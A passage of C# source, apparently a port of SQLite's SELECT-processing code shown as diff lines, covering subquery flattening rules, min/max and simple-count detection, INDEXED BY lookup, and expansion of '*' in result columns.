At one point restrictions (4) and (5) defined a subset of DISTINCT +** sub-queries that were excluded from this optimization. Restriction +** (4) has since been expanded to exclude all DISTINCT subqueries. +** +** (6) The subquery does not use aggregates or the outer query is not +** DISTINCT. +** +** (7) The subquery has a FROM clause. +** +** (8) The subquery does not use LIMIT or the outer query is not a join. +** +** (9) The subquery does not use LIMIT or the outer query does not use +** aggregates. +** +** (10) The subquery does not use aggregates or the outer query does not +** use LIMIT. +** +** (11) The subquery and the outer query do not both have ORDER BY clauses. +** +** (*) Not implemented. Subsumed into restriction (3). Was previously +** a separate restriction deriving from ticket #350. +** +** (13) The subquery and outer query do not both use LIMIT. +** +** (14) The subquery does not use OFFSET. +** +** (15) The outer query is not part of a compound select or the +** subquery does not have a LIMIT clause. +** (See ticket #2339 and ticket [02a8e81d44]). +** +** (16) The outer query is not an aggregate or the subquery does +** not contain ORDER BY. (Ticket #2942) This used to not matter +** until we introduced the group_concat() function. +** +** (17) The sub-query is not a compound select, or it is a UNION ALL +** compound clause made up entirely of non-aggregate queries, and +** the parent query: +** +** * is not itself part of a compound select, +** * is not an aggregate or DISTINCT query, and +** * has no other tables or sub-selects in the FROM clause. +** +** The parent and sub-query may contain WHERE clauses. Subject to +** rules (11), (13) and (14), they may also contain ORDER BY, +** LIMIT and OFFSET clauses. +** +** (18) If the sub-query is a compound select, then all terms of the +** ORDER by clause of the parent must be simple references to +** columns of the sub-query. +** +** (19) The subquery does not use LIMIT or the outer query does not +** have a WHERE clause. +** +** (20) If the sub-query is a compound select, then it must not use +** an ORDER BY clause. Ticket #3773. We could relax this constraint +** somewhat by saying that the terms of the ORDER BY clause must +** appear as unmodified result columns in the outer query. But +** have other optimizations in mind to deal with that case. +** +** (21) The subquery does not use LIMIT or the outer query is not +** DISTINCT. (See ticket [752e1646fc]). +** +** In this routine, the "p" parameter is a pointer to the outer query. +** The subquery is p.pSrc.a[iFrom]. isAgg is true if the outer query +** uses aggregates and subqueryIsAgg is true if the subquery uses aggregates. +** +** If flattening is not attempted, this routine is a no-op and returns 0. +** If flattening is attempted this routine returns 1. +** +** All of the expression analysis must occur on both the outer query and +** the subquery before this routine runs. +*/ + static int flattenSubquery( + Parse pParse, /* Parsing context */ + Select p, /* The parent or outer SELECT statement */ + int iFrom, /* Index in p.pSrc.a[] of the inner subquery */ + bool isAgg, /* True if outer SELECT uses aggregate functions */ + bool subqueryIsAgg /* True if the subquery uses aggregate functions */ + ) + { + string zSavedAuthContext = pParse.zAuthContext; + Select pParent; + Select pSub; /* The inner query or "subquery" */ + Select pSub1; /* Pointer to the rightmost select in sub-query */ + SrcList pSrc; /* The FROM clause of the outer query */ + SrcList pSubSrc; /* The FROM clause of the subquery */ + ExprList pList; /* The result set of the outer query */ + int iParent; /* VDBE cursor number of the pSub result set temp table */ + int i; /* Loop counter */ + Expr pWhere; /* The WHERE clause */ + SrcList_item pSubitem;/* The subquery */ + sqlite3 db = pParse.db; + + /* Check to see if flattening is permitted. Return 0 if not. + */ + Debug.Assert( p != null ); + Debug.Assert( p.pPrior == null ); /* Unable to flatten compound queries */ + if ( ( db.flags & SQLITE_QueryFlattener ) != 0 ) + return 0; + pSrc = p.pSrc; + Debug.Assert( pSrc != null && iFrom >= 0 && iFrom < pSrc.nSrc ); + pSubitem = pSrc.a[iFrom]; + iParent = pSubitem.iCursor; + pSub = pSubitem.pSelect; + Debug.Assert( pSub != null ); + if ( isAgg && subqueryIsAgg ) + return 0; /* Restriction (1) */ + if ( subqueryIsAgg && pSrc.nSrc > 1 ) + return 0; /* Restriction (2) */ + pSubSrc = pSub.pSrc; + Debug.Assert( pSubSrc != null ); + /* Prior to version 3.1.2, when LIMIT and OFFSET had to be simple constants, + ** not arbitrary expresssions, we allowed some combining of LIMIT and OFFSET + ** because they could be computed at compile-time. But when LIMIT and OFFSET + ** became arbitrary expressions, we were forced to add restrictions (13) + ** and (14). */ + if ( pSub.pLimit != null && p.pLimit != null ) + return 0; /* Restriction (13) */ + if ( pSub.pOffset != null ) + return 0; /* Restriction (14) */ + if ( p.pRightmost != null && pSub.pLimit != null ) + { + return 0; /* Restriction (15) */ + } + if ( pSubSrc.nSrc == 0 ) + return 0; /* Restriction (7) */ + if ( ( pSub.selFlags & SF_Distinct ) != 0 ) + return 0; /* Restriction (5) */ + if ( pSub.pLimit != null && ( pSrc.nSrc > 1 || isAgg ) ) + { + return 0; /* Restrictions (8)(9) */ + } + if ( ( p.selFlags & SF_Distinct ) != 0 && subqueryIsAgg ) + { + return 0; /* Restriction (6) */ + } + if ( p.pOrderBy != null && pSub.pOrderBy != null ) + { + return 0; /* Restriction (11) */ + } + if ( isAgg && pSub.pOrderBy != null ) + return 0; /* Restriction (16) */ + if ( pSub.pLimit != null && p.pWhere != null ) + return 0; /* Restriction (19) */ + if ( pSub.pLimit != null && ( p.selFlags & SF_Distinct ) != 0 ) + { + return 0; /* Restriction (21) */ + } + + /* OBSOLETE COMMENT 1: + ** Restriction 3: If the subquery is a join, make sure the subquery is + ** not used as the right operand of an outer join. Examples of why this + ** is not allowed: + ** + ** t1 LEFT OUTER JOIN (t2 JOIN t3) + ** + ** If we flatten the above, we would get + ** + ** (t1 LEFT OUTER JOIN t2) JOIN t3 + ** + ** which is not at all the same thing. + ** + ** OBSOLETE COMMENT 2: + ** Restriction 12: If the subquery is the right operand of a left outer + + /* Restriction 12: If the subquery is the right operand of a left outer + ** join, make sure the subquery has no WHERE clause. + ** An examples of why this is not allowed: + ** + ** t1 LEFT OUTER JOIN (SELECT * FROM t2 WHERE t2.x>0) + ** + ** If we flatten the above, we would get + ** + ** (t1 LEFT OUTER JOIN t2) WHERE t2.x>0 + ** + ** But the t2.x>0 test will always fail on a NULL row of t2, which + ** effectively converts the OUTER JOIN into an INNER JOIN. + ** + ** THIS OVERRIDES OBSOLETE COMMENTS 1 AND 2 ABOVE: + ** Ticket #3300 shows that flattening the right term of a LEFT JOIN + ** is fraught with danger. Best to avoid the whole thing. If the + ** subquery is the right term of a LEFT JOIN, then do not flatten. + */ + if ( ( pSubitem.jointype & JT_OUTER ) != 0 ) + { + return 0; + } + + /* Restriction 17: If the sub-query is a compound SELECT, then it must + ** use only the UNION ALL operator. And none of the simple select queries + ** that make up the compound SELECT are allowed to be aggregate or distinct + ** queries. + */ + if ( pSub.pPrior != null ) + { + if ( pSub.pOrderBy != null ) + { + return 0; /* Restriction 20 */ + } + if ( isAgg || ( p.selFlags & SF_Distinct ) != 0 || pSrc.nSrc != 1 ) + { + return 0; + } + for ( pSub1 = pSub; pSub1 != null; pSub1 = pSub1.pPrior ) + { + testcase( ( pSub1.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Distinct ); + testcase( ( pSub1.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Aggregate ); + if ( ( pSub1.selFlags & ( SF_Distinct | SF_Aggregate ) ) != 0 + || ( pSub1.pPrior != null && pSub1.op != TK_ALL ) + || NEVER( pSub1.pSrc == null ) || pSub1.pSrc.nSrc != 1 + ) + { + return 0; + } + } + + /* Restriction 18. */ + if ( p.pOrderBy != null ) + { + int ii; + for ( ii = 0; ii < p.pOrderBy.nExpr; ii++ ) + { + if ( p.pOrderBy.a[ii].iCol == 0 ) + return 0; + } + } + } + + /***** If we reach this point, flattening is permitted. *****/ + + /* Authorize the subquery */ + pParse.zAuthContext = pSubitem.zName; + sqlite3AuthCheck( pParse, SQLITE_SELECT, null, null, null ); + pParse.zAuthContext = zSavedAuthContext; + + /* If the sub-query is a compound SELECT statement, then (by restrictions + ** 17 and 18 above) it must be a UNION ALL and the parent query must + ** be of the form: + ** + ** SELECT FROM () + ** + ** followed by any ORDER BY, LIMIT and/or OFFSET clauses. This block + ** creates N-1 copies of the parent query without any ORDER BY, LIMIT or + ** OFFSET clauses and joins them to the left-hand-side of the original + ** using UNION ALL operators. In this case N is the number of simple + ** select statements in the compound sub-query. + ** + ** Example: + ** + ** SELECT a+1 FROM ( + ** SELECT x FROM tab + ** UNION ALL + ** SELECT y FROM tab + ** UNION ALL + ** SELECT abs(z*2) FROM tab2 + ** ) WHERE a!=5 ORDER BY 1 + ** + ** Transformed into: + ** + ** SELECT x+1 FROM tab WHERE x+1!=5 + ** UNION ALL + ** SELECT y+1 FROM tab WHERE y+1!=5 + ** UNION ALL + ** SELECT abs(z*2)+1 FROM tab2 WHERE abs(z*2)+1!=5 + ** ORDER BY 1 + ** + ** We call this the "compound-subquery flattening". + */ + for ( pSub = pSub.pPrior; pSub != null; pSub = pSub.pPrior ) + { + Select pNew; + ExprList pOrderBy = p.pOrderBy; + Expr pLimit = p.pLimit; + Select pPrior = p.pPrior; + p.pOrderBy = null; + p.pSrc = null; + p.pPrior = null; + p.pLimit = null; + pNew = sqlite3SelectDup( db, p, 0 ); + p.pLimit = pLimit; + p.pOrderBy = pOrderBy; + p.pSrc = pSrc; + p.op = TK_ALL; + p.pRightmost = null; + if ( pNew == null ) + { + pNew = pPrior; + } + else + { + pNew.pPrior = pPrior; + pNew.pRightmost = null; + } + p.pPrior = pNew; + // if ( db.mallocFailed != 0 ) return 1; + } + + /* Begin flattening the iFrom-th entry of the FROM clause + ** in the outer query. + */ + pSub = pSub1 = pSubitem.pSelect; + /* Delete the transient table structure associated with the + ** subquery + */ + + sqlite3DbFree( db, ref pSubitem.zDatabase ); + sqlite3DbFree( db, ref pSubitem.zName ); + sqlite3DbFree( db, ref pSubitem.zAlias ); + pSubitem.zDatabase = null; + pSubitem.zName = null; + pSubitem.zAlias = null; + pSubitem.pSelect = null; + /* Defer deleting the Table object associated with the + ** subquery until code generation is + ** complete, since there may still exist Expr.pTab entries that + ** refer to the subquery even after flattening. Ticket #3346. + ** + ** pSubitem->pTab is always non-NULL by test restrictions and tests above. + */ + if ( ALWAYS( pSubitem.pTab != null ) ) + { + Table pTabToDel = pSubitem.pTab; + if ( pTabToDel.nRef == 1 ) + { + Parse pToplevel = sqlite3ParseToplevel( pParse ); + pTabToDel.pNextZombie = pToplevel.pZombieTab; + pToplevel.pZombieTab = pTabToDel; + } + else + { + pTabToDel.nRef--; + } + pSubitem.pTab = null; + } + + /* The following loop runs once for each term in a compound-subquery + ** flattening (as described above). If we are doing a different kind + ** of flattening - a flattening other than a compound-subquery flattening - + ** then this loop only runs once. + ** + ** This loop moves all of the FROM elements of the subquery into the + ** the FROM clause of the outer query. Before doing this, remember + ** the cursor number for the original outer query FROM element in + ** iParent. The iParent cursor will never be used. Subsequent code + ** will scan expressions looking for iParent references and replace + ** those references with expressions that resolve to the subquery FROM + ** elements we are now copying in. + */ + for ( pParent = p; pParent != null; pParent = pParent.pPrior, pSub = pSub.pPrior ) + { + int nSubSrc; + u8 jointype = 0; + pSubSrc = pSub.pSrc; /* FROM clause of subquery */ + nSubSrc = pSubSrc.nSrc; /* Number of terms in subquery FROM clause */ + pSrc = pParent.pSrc; /* FROM clause of the outer query */ + + if ( pSrc != null ) + { + Debug.Assert( pParent == p ); /* First time through the loop */ + jointype = pSubitem.jointype; + } + else + { + Debug.Assert( pParent != p ); /* 2nd and subsequent times through the loop */ + pSrc = pParent.pSrc = sqlite3SrcListAppend( db, null, null, null ); + //if ( pSrc == null ) + //{ + // //Debug.Assert( db.mallocFailed != 0 ); + // break; + //} + } + + /* The subquery uses a single slot of the FROM clause of the outer + ** query. If the subquery has more than one element in its FROM clause, + ** then expand the outer query to make space for it to hold all elements + ** of the subquery. + ** + ** Example: + ** + ** SELECT * FROM tabA, (SELECT * FROM sub1, sub2), tabB; + ** + ** The outer query has 3 slots in its FROM clause. One slot of the + ** outer query (the middle slot) is used by the subquery. The next + ** block of code will expand the out query to 4 slots. The middle + ** slot is expanded to two slots in order to make space for the + ** two elements in the FROM clause of the subquery. + */ + if ( nSubSrc > 1 ) + { + pParent.pSrc = pSrc = sqlite3SrcListEnlarge( db, pSrc, nSubSrc - 1, iFrom + 1 ); + //if ( db.mallocFailed != 0 ) + //{ + // break; + //} + } + + /* Transfer the FROM clause terms from the subquery into the + ** outer query. + */ + for ( i = 0; i < nSubSrc; i++ ) + { + sqlite3IdListDelete( db, ref pSrc.a[i + iFrom].pUsing ); + pSrc.a[i + iFrom] = pSubSrc.a[i]; + pSubSrc.a[i] = new SrcList_item();//memset(pSubSrc.a[i], 0, sizeof(pSubSrc.a[i])); + } + pSubitem = pSrc.a[iFrom]; // Reset for C# + pSrc.a[iFrom].jointype = jointype; + + /* Now begin substituting subquery result set expressions for + ** references to the iParent in the outer query. + ** + ** Example: + ** + ** SELECT a+5, b*10 FROM (SELECT x*3 AS a, y+10 AS b FROM t1) WHERE a>b; + ** \ \_____________ subquery __________/ / + ** \_____________________ outer query ______________________________/ + ** + ** We look at every expression in the outer query and every place we see + ** "a" we substitute "x*3" and every place we see "b" we substitute "y+10". + */ + pList = pParent.pEList; + for ( i = 0; i < pList.nExpr; i++ ) + { + if ( pList.a[i].zName == null ) + { + string zSpan = pList.a[i].zSpan; + if ( ALWAYS( zSpan ) ) + { + pList.a[i].zName = zSpan;// sqlite3DbStrDup( db, zSpan ); + } + } + } + substExprList( db, pParent.pEList, iParent, pSub.pEList ); + if ( isAgg ) + { + substExprList( db, pParent.pGroupBy, iParent, pSub.pEList ); + pParent.pHaving = substExpr( db, pParent.pHaving, iParent, pSub.pEList ); + } + if ( pSub.pOrderBy != null ) + { + Debug.Assert( pParent.pOrderBy == null ); + pParent.pOrderBy = pSub.pOrderBy; + pSub.pOrderBy = null; + } + else if ( pParent.pOrderBy != null ) + { + substExprList( db, pParent.pOrderBy, iParent, pSub.pEList ); + } + if ( pSub.pWhere != null ) + { + pWhere = sqlite3ExprDup( db, pSub.pWhere, 0 ); + } + else + { + pWhere = null; + } + if ( subqueryIsAgg ) + { + Debug.Assert( pParent.pHaving == null ); + pParent.pHaving = pParent.pWhere; + pParent.pWhere = pWhere; + pParent.pHaving = substExpr( db, pParent.pHaving, iParent, pSub.pEList ); + pParent.pHaving = sqlite3ExprAnd( db, pParent.pHaving, + sqlite3ExprDup( db, pSub.pHaving, 0 ) ); + Debug.Assert( pParent.pGroupBy == null ); + pParent.pGroupBy = sqlite3ExprListDup( db, pSub.pGroupBy, 0 ); + } + else + { + pParent.pWhere = substExpr( db, pParent.pWhere, iParent, pSub.pEList ); + pParent.pWhere = sqlite3ExprAnd( db, pParent.pWhere, pWhere ); + } + + /* The flattened query is distinct if either the inner or the + ** outer query is distinct. + */ + pParent.selFlags = (u16)( pParent.selFlags | pSub.selFlags & SF_Distinct ); + + /* + ** SELECT ... FROM (SELECT ... LIMIT a OFFSET b) LIMIT x OFFSET y; + ** + ** One is tempted to try to add a and b to combine the limits. But this + ** does not work if either limit is negative. + */ + if ( pSub.pLimit != null ) + { + pParent.pLimit = pSub.pLimit; + pSub.pLimit = null; + } + } + + /* Finially, delete what is left of the subquery and return + ** success. + */ + sqlite3SelectDelete( db, ref pSub ); + sqlite3SelectDelete( db, ref pSub1 ); + return 1; + } +#endif //* !SQLITE_OMIT_SUBQUERY) || !SQLITE_OMIT_VIEW) */ + + /* +** Analyze the SELECT statement passed as an argument to see if it +** is a min() or max() query. Return WHERE_ORDERBY_MIN or WHERE_ORDERBY_MAX if +** it is, or 0 otherwise. At present, a query is considered to be +** a min()/max() query if: +** +** 1. There is a single object in the FROM clause. +** +** 2. There is a single expression in the result set, and it is +** either min(x) or max(x), where x is a column reference. +*/ + static u8 minMaxQuery( Select p ) + { + Expr pExpr; + ExprList pEList = p.pEList; + + if ( pEList.nExpr != 1 ) + return WHERE_ORDERBY_NORMAL; + pExpr = pEList.a[0].pExpr; + if ( pExpr.op != TK_AGG_FUNCTION ) + return 0; + if ( NEVER( ExprHasProperty( pExpr, EP_xIsSelect ) ) ) + return 0; + pEList = pExpr.x.pList; + if ( pEList == null || pEList.nExpr != 1 ) + return 0; + if ( pEList.a[0].pExpr.op != TK_AGG_COLUMN ) + return WHERE_ORDERBY_NORMAL; + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + if ( pExpr.u.zToken.Equals( "min", StringComparison.InvariantCultureIgnoreCase ) ) + { + return WHERE_ORDERBY_MIN; + } + else if ( pExpr.u.zToken.Equals( "max", StringComparison.InvariantCultureIgnoreCase ) ) + { + return WHERE_ORDERBY_MAX; + } + return WHERE_ORDERBY_NORMAL; + } + + /* + ** The select statement passed as the first argument is an aggregate query. + ** The second argment is the associated aggregate-info object. This + ** function tests if the SELECT is of the form: + ** + ** SELECT count() FROM + ** + ** where table is a database table, not a sub-select or view. If the query + ** does match this pattern, then a pointer to the Table object representing + ** is returned. Otherwise, 0 is returned. + */ + static Table isSimpleCount( Select p, AggInfo pAggInfo ) + { + Table pTab; + Expr pExpr; + + Debug.Assert( null == p.pGroupBy ); + + if ( p.pWhere != null || p.pEList.nExpr != 1 + || p.pSrc.nSrc != 1 || p.pSrc.a[0].pSelect != null + ) + { + return null; + } + pTab = p.pSrc.a[0].pTab; + pExpr = p.pEList.a[0].pExpr; + Debug.Assert( pTab != null && null == pTab.pSelect && pExpr != null ); + + if ( IsVirtual( pTab ) ) + return null; + if ( pExpr.op != TK_AGG_FUNCTION ) + return null; + if ( ( pAggInfo.aFunc[0].pFunc.flags & SQLITE_FUNC_COUNT ) == 0 ) + return null; + if ( ( pExpr.flags & EP_Distinct ) != 0 ) + return null; + + return pTab; + } + + /* + ** If the source-list item passed as an argument was augmented with an + ** INDEXED BY clause, then try to locate the specified index. If there + ** was such a clause and the named index cannot be found, return + ** SQLITE_ERROR and leave an error in pParse. Otherwise, populate + ** pFrom.pIndex and return SQLITE_OK. + */ + static int sqlite3IndexedByLookup( Parse pParse, SrcList_item pFrom ) + { + if ( pFrom.pTab != null && pFrom.zIndex != null && pFrom.zIndex.Length != 0 ) + { + Table pTab = pFrom.pTab; + string zIndex = pFrom.zIndex; + Index pIdx; + for ( pIdx = pTab.pIndex; + pIdx != null && !pIdx.zName.Equals( zIndex, StringComparison.InvariantCultureIgnoreCase ); + pIdx = pIdx.pNext + ) + ; + if ( null == pIdx ) + { + sqlite3ErrorMsg( pParse, "no such index: %s", zIndex ); + pParse.checkSchema = 1; + return SQLITE_ERROR; + } + pFrom.pIndex = pIdx; + } + return SQLITE_OK; + } + + /* + ** This routine is a Walker callback for "expanding" a SELECT statement. + ** "Expanding" means to do the following: + ** + ** (1) Make sure VDBE cursor numbers have been assigned to every + ** element of the FROM clause. + ** + ** (2) Fill in the pTabList.a[].pTab fields in the SrcList that + ** defines FROM clause. When views appear in the FROM clause, + ** fill pTabList.a[].x.pSelect with a copy of the SELECT statement + ** that implements the view. A copy is made of the view's SELECT + ** statement so that we can freely modify or delete that statement + ** without worrying about messing up the presistent representation + ** of the view. + ** + ** (3) Add terms to the WHERE clause to accomodate the NATURAL keyword + ** on joins and the ON and USING clause of joins. + ** + ** (4) Scan the list of columns in the result set (pEList) looking + ** for instances of the "*" operator or the TABLE.* operator. + ** If found, expand each "*" to be every column in every table + ** and TABLE.* to be every column in TABLE. + ** + */ + static int selectExpander( Walker pWalker, Select p ) + { + Parse pParse = pWalker.pParse; + int i, j, k; + SrcList pTabList; + ExprList pEList; + SrcList_item pFrom; + sqlite3 db = pParse.db; + + //if ( db.mallocFailed != 0 ) + //{ + // return WRC_Abort; + //} + if ( NEVER( p.pSrc == null ) || ( p.selFlags & SF_Expanded ) != 0 ) + { + return WRC_Prune; + } + p.selFlags |= SF_Expanded; + pTabList = p.pSrc; + pEList = p.pEList; + + /* Make sure cursor numbers have been assigned to all entries in + ** the FROM clause of the SELECT statement. + */ + sqlite3SrcListAssignCursors( pParse, pTabList ); + + /* Look up every table named in the FROM clause of the select. If + ** an entry of the FROM clause is a subquery instead of a table or view, + ** then create a transient table ure to describe the subquery. + */ + for ( i = 0; i < pTabList.nSrc; i++ )// pFrom++ ) + { + pFrom = pTabList.a[i]; + Table pTab; + if ( pFrom.pTab != null ) + { + /* This statement has already been prepared. There is no need + ** to go further. */ + Debug.Assert( i == 0 ); + return WRC_Prune; + } + if ( pFrom.zName == null ) + { +#if !SQLITE_OMIT_SUBQUERY + Select pSel = pFrom.pSelect; + /* A sub-query in the FROM clause of a SELECT */ + Debug.Assert( pSel != null ); + Debug.Assert( pFrom.pTab == null ); + sqlite3WalkSelect( pWalker, pSel ); + pFrom.pTab = pTab = new Table();// sqlite3DbMallocZero( db, sizeof( Table ) ); + if ( pTab == null ) + return WRC_Abort; + pTab.nRef = 1; + pTab.zName = sqlite3MPrintf( db, "sqlite_subquery_%p_", pTab ); + while ( pSel.pPrior != null ) + { + pSel = pSel.pPrior; + } + selectColumnsFromExprList( pParse, pSel.pEList, ref pTab.nCol, ref pTab.aCol ); + pTab.iPKey = -1; + pTab.nRowEst = 1000000; + pTab.tabFlags |= TF_Ephemeral; +#endif + } + else + { + /* An ordinary table or view name in the FROM clause */ + Debug.Assert( pFrom.pTab == null ); + pFrom.pTab = pTab = + sqlite3LocateTable( pParse, 0, pFrom.zName, pFrom.zDatabase ); + if ( pTab == null ) + return WRC_Abort; + pTab.nRef++; +#if !(SQLITE_OMIT_VIEW) || !(SQLITE_OMIT_VIRTUALTABLE) + if ( pTab.pSelect != null || IsVirtual( pTab ) ) + { + /* We reach here if the named table is a really a view */ + if ( sqlite3ViewGetColumnNames( pParse, pTab ) != 0 ) + return WRC_Abort; + + pFrom.pSelect = sqlite3SelectDup( db, pTab.pSelect, 0 ); + sqlite3WalkSelect( pWalker, pFrom.pSelect ); + } +#endif + } + /* Locate the index named by the INDEXED BY clause, if any. */ + if ( sqlite3IndexedByLookup( pParse, pFrom ) != 0 ) + { + return WRC_Abort; + } + } + + /* Process NATURAL keywords, and ON and USING clauses of joins. + */ + if ( /* db.mallocFailed != 0 || */ sqliteProcessJoin( pParse, p ) != 0 ) + { + return WRC_Abort; + } + + /* For every "*" that occurs in the column list, insert the names of + ** all columns in all tables. And for every TABLE.* insert the names + ** of all columns in TABLE. The parser inserted a special expression + ** with the TK_ALL operator for each "*" that it found in the column list. + ** The following code just has to locate the TK_ALL expressions and expand + ** each one to the list of all columns in all tables. + ** + ** The first loop just checks to see if there are any "*" operators + ** that need expanding. + */ + for ( k = 0; k < pEList.nExpr; k++ ) + { + Expr pE = pEList.a[k].pExpr; + if ( pE.op == TK_ALL ) + break; + Debug.Assert( pE.op != TK_DOT || pE.pRight != null ); + Debug.Assert( pE.op != TK_DOT || ( pE.pLeft != null && pE.pLeft.op == TK_ID ) ); + if ( pE.op == TK_DOT && pE.pRight.op == TK_ALL ) + break; + } + if ( k < pEList.nExpr ) + { + /* + ** If we get here it means the result set contains one or more "*" + ** operators that need to be expanded. Loop through each expression + ** in the result set and expand them one by one. + */ + ExprList_item[] a = pEList.a; + ExprList pNew = null; + int flags = pParse.db.flags; + bool longNames = ( flags & SQLITE_FullColNames ) != 0 + && ( flags & SQLITE_ShortColNames ) == 0; + + for ( k = 0; k < pEList.nExpr; k++ ) + { + Expr pE = a[k].pExpr; + Debug.Assert( pE.op != TK_DOT || pE.pRight != null ); + if ( pE.op != TK_ALL && ( pE.op != TK_DOT || pE.pRight.op != TK_ALL ) ) + { + /* This particular expression does not need to be expanded. + */ + pNew = sqlite3ExprListAppend( pParse, pNew, a[k].pExpr ); + if ( pNew != null ) + { + pNew.a[pNew.nExpr - 1].zName = a[k].zName; + pNew.a[pNew.nExpr - 1].zSpan = a[k].zSpan; + a[k].zName = null; + a[k].zSpan = null; + } + a[k].pExpr = null; + } + else + { + /* This expression is a "*" or a "TABLE.*" and needs to be + ** expanded. */ + int tableSeen = 0; /* Set to 1 when TABLE matches */ + string zTName; /* text of name of TABLE */ + if ( pE.op == TK_DOT ) + { + Debug.Assert( pE.pLeft != null ); + Debug.Assert( !ExprHasProperty( pE.pLeft, EP_IntValue ) ); + zTName = pE.pLeft.u.zToken; + } + else + { + zTName = null; + } + for ( i = 0; i < pTabList.nSrc; i++ )//, pFrom++ ) + { + pFrom = pTabList.a[i]; + Table pTab = pFrom.pTab; + string zTabName = pFrom.zAlias; + if ( zTabName == null ) + { + zTabName = pTab.zName; + } + ///if ( db.mallocFailed != 0 ) break; + if ( zTName != null && !zTName.Equals( zTabName, StringComparison.InvariantCultureIgnoreCase ) ) + { + continue; + } + tableSeen = 1; + for ( j = 0; j < pTab.nCol; j++ ) + { + Expr pExpr, pRight; + string zName = pTab.aCol[j].zName; + string zColname; /* The computed column name */ + string zToFree; /* Malloced string that needs to be freed */ + Token sColname = new Token(); /* Computed column name as a token */ + + /* If a column is marked as 'hidden' (currently only possible + ** for virtual tables), do not include it in the expanded + ** result-set list. + */ + if ( IsHiddenColumn( pTab.aCol[j] ) ) + { + Debug.Assert( IsVirtual( pTab ) ); + continue; + } + + if ( i > 0 && ( zTName == null || zTName.Length == 0 ) ) + { + int iDummy = 0; + if ( ( pFrom.jointype & JT_NATURAL ) != 0 + && tableAndColumnIndex( pTabList, i, zName, ref iDummy, ref iDummy ) != 0 + ) + { + /* In a NATURAL join, omit the join columns from the + ** table to the right of the join */ + continue; + } + if ( sqlite3IdListIndex( pFrom.pUsing, zName ) >= 0 ) + { + /* In a join with a USING clause, omit columns in the + ** using clause from the table on the right. */ + continue; + } + } + pRight = sqlite3Expr( db, TK_ID, zName ); + zColname = zName; + zToFree = ""; + if ( longNames || pTabList.nSrc > 1 ) + { + Expr pLeft; + pLeft = sqlite3Expr( db, TK_ID, zTabName ); + pExpr = sqlite3PExpr( pParse, TK_DOT, pLeft, pRight, 0 ); + if ( longNames ) + { + zColname = sqlite3MPrintf( db, "%s.%s", zTabName, zName ); + zToFree = zColname; + } + } + else + { + pExpr = pRight; + } + pNew = sqlite3ExprListAppend( pParse, pNew, pExpr ); + sColname.z = zColname; + sColname.n = sqlite3Strlen30( zColname ); + sqlite3ExprListSetName( pParse, pNew, sColname, 0 ); + sqlite3DbFree( db, ref zToFree ); + } + } + if ( tableSeen == 0 ) + { + if ( zTName != null ) + { + sqlite3ErrorMsg( pParse, "no such table: %s", zTName ); + } + else + { + sqlite3ErrorMsg( pParse, "no tables specified" ); + } + } + } + } + sqlite3ExprListDelete( db, ref pEList ); + p.pEList = pNew; + } +//#if SQLITE_MAX_COLUMN + if ( p.pEList != null && p.pEList.nExpr > db.aLimit[SQLITE_LIMIT_COLUMN] ) + { + sqlite3ErrorMsg( pParse, "too many columns in result set" ); + } +//#endif + return WRC_Continue; + } + + /* + ** No-op routine for the parse-tree walker. + ** + ** When this routine is the Walker.xExprCallback then expression trees + ** are walked without any actions being taken at each node. Presumably, + ** when this routine is used for Walker.xExprCallback then + ** Walker.xSelectCallback is set to do something useful for every + ** subquery in the parser tree. + */ + static int exprWalkNoop( Walker NotUsed, ref Expr NotUsed2 ) + { + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + return WRC_Continue; + } + + /* + ** This routine "expands" a SELECT statement and all of its subqueries. + ** For additional information on what it means to "expand" a SELECT + ** statement, see the comment on the selectExpand worker callback above. + ** + ** Expanding a SELECT statement is the first step in processing a + ** SELECT statement. The SELECT statement must be expanded before + ** name resolution is performed. + ** + ** If anything goes wrong, an error message is written into pParse. + ** The calling function can detect the problem by looking at pParse.nErr + ** and/or pParse.db.mallocFailed. + */ + static void sqlite3SelectExpand( Parse pParse, Select pSelect ) + { + Walker w = new Walker(); + w.xSelectCallback = selectExpander; + w.xExprCallback = exprWalkNoop; + w.pParse = pParse; + sqlite3WalkSelect( w, pSelect ); + } + + +#if !SQLITE_OMIT_SUBQUERY + /* +** This is a Walker.xSelectCallback callback for the sqlite3SelectTypeInfo() +** interface. +** +** For each FROM-clause subquery, add Column.zType and Column.zColl +** information to the Table ure that represents the result set +** of that subquery. +** +** The Table ure that represents the result set was coned +** by selectExpander() but the type and collation information was omitted +** at that point because identifiers had not yet been resolved. This +** routine is called after identifier resolution. +*/ + static int selectAddSubqueryTypeInfo( Walker pWalker, Select p ) + { + Parse pParse; + int i; + SrcList pTabList; + SrcList_item pFrom; + + Debug.Assert( ( p.selFlags & SF_Resolved ) != 0 ); + if ( ( p.selFlags & SF_HasTypeInfo ) == 0 ) + { + p.selFlags |= SF_HasTypeInfo; + pParse = pWalker.pParse; + pTabList = p.pSrc; + for ( i = 0; i < pTabList.nSrc; i++ )//, pFrom++ ) + { + pFrom = pTabList.a[i]; + Table pTab = pFrom.pTab; + if ( ALWAYS( pTab != null ) && ( pTab.tabFlags & TF_Ephemeral ) != 0 ) + { + /* A sub-query in the FROM clause of a SELECT */ + Select pSel = pFrom.pSelect; + Debug.Assert( pSel != null ); + while ( pSel.pPrior != null ) + pSel = pSel.pPrior; + selectAddColumnTypeAndCollation( pParse, pTab.nCol, pTab.aCol, pSel ); + } + } + } + return WRC_Continue; + } +#endif + + + /* +** This routine adds datatype and collating sequence information to +** the Table ures of all FROM-clause subqueries in a +** SELECT statement. +** +** Use this routine after name resolution. +*/ + static void sqlite3SelectAddTypeInfo( Parse pParse, Select pSelect ) + { +#if !SQLITE_OMIT_SUBQUERY + Walker w = new Walker(); + w.xSelectCallback = selectAddSubqueryTypeInfo; + w.xExprCallback = exprWalkNoop; + w.pParse = pParse; + sqlite3WalkSelect( w, pSelect ); +#endif + } + + + /* + ** This routine sets of a SELECT statement for processing. The + ** following is accomplished: + ** + ** * VDBE VdbeCursor numbers are assigned to all FROM-clause terms. + ** * Ephemeral Table objects are created for all FROM-clause subqueries. + ** * ON and USING clauses are shifted into WHERE statements + ** * Wildcards "*" and "TABLE.*" in result sets are expanded. + ** * Identifiers in expression are matched to tables. + ** + ** This routine acts recursively on all subqueries within the SELECT. + */ + static void sqlite3SelectPrep( + Parse pParse, /* The parser context */ + Select p, /* The SELECT statement being coded. */ + NameContext pOuterNC /* Name context for container */ + ) + { + sqlite3 db; + if ( NEVER( p == null ) ) + return; + db 